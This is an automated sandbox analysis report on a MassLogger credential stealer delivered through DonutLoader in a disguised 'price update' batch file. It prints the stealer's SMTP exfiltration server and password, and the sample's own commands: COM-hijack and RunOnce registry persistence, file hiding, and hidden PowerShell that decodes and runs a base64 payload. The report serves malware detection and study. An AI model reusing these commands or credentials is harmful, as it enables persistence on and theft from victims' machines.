Analysis
- max time kernel
300s - max time network
203s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 15:30
General
- Target PRICE UPDATE-SMBS- SC-YF706.bat
- Size 145KB
- Sample260423-sxe36ahs71
- SHA256 88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496
Malware Config
Extracted
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Protocol
smtp
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Host
mail.taikei-rmc-co.biz
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Port
587
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Username
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Password
dy8tm;jRtJO[:bG:
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PRICE UPDATE-SMBS- SC-YF706.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PRICE UPDATE-SMBS- SC-YF706.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Injury" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\EMOTION.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Earn.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\Earn.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vmbmv51n\vmbmv51n.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES57DF.tmp" "c:\Users\Admin\AppData\Local\Temp\vmbmv51n\CSC72E07F437E46A78AF4610A482BFE7.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
EMOTION.tmp
EMOTION.tmp
Earn.ps1
RES57DF.tmp
__PSScriptPolicyTest_aqkxdb2s.2zr.ps1
vmbmv51n.dll
Record.bat
CSC72E07F437E46A78AF4610A482BFE7.TMP
vmbmv51n.0.cs
vmbmv51n.cmdline
memory/3096-82-0x0000021D14360000-0x0000021D1436C000-memory.dmp
memory/3292-90-0x0000000002100000-0x0000000002114000-memory.dmp
memory/3292-92-0x0000000008120000-0x000000000813E000-memory.dmp
memory/3292-96-0x0000000001FE0000-0x0000000002030000-memory.dmp
memory/3292-97-0x000000000AE20000-0x000000000AFE2000-memory.dmp
memory/4320-89-0x000001CCDC5D0000-0x000001CCDCD0F000-memory.dmp
memory/4320-87-0x000001CCC4580000-0x000001CCC4588000-memory.dmp
memory/4320-88-0x000001CCC3F80000-0x000001CCC3F8C000-memory.dmp
memory/4320-94-0x000001CCC3F80000-0x000001CCC3F8C000-memory.dmp
memory/4320-95-0x000001CCDC5D0000-0x000001CCDCD0F000-memory.dmp
memory/4620-62-0x0000017EA70A0000-0x0000017EA77DF000-memory.dmp
memory/4620-61-0x0000017E8EB00000-0x0000017E8EB0C000-memory.dmp
memory/4620-54-0x0000017EA7950000-0x0000017EA7972000-memory.dmp
memory/4620-47-0x0000017E8EF10000-0x0000017E8EF20000-memory.dmp
memory/4620-48-0x0000017E8EF10000-0x0000017E8EF20000-memory.dmp
memory/5096-85-0x000001452FAC0000-0x000001452FACC000-memory.dmp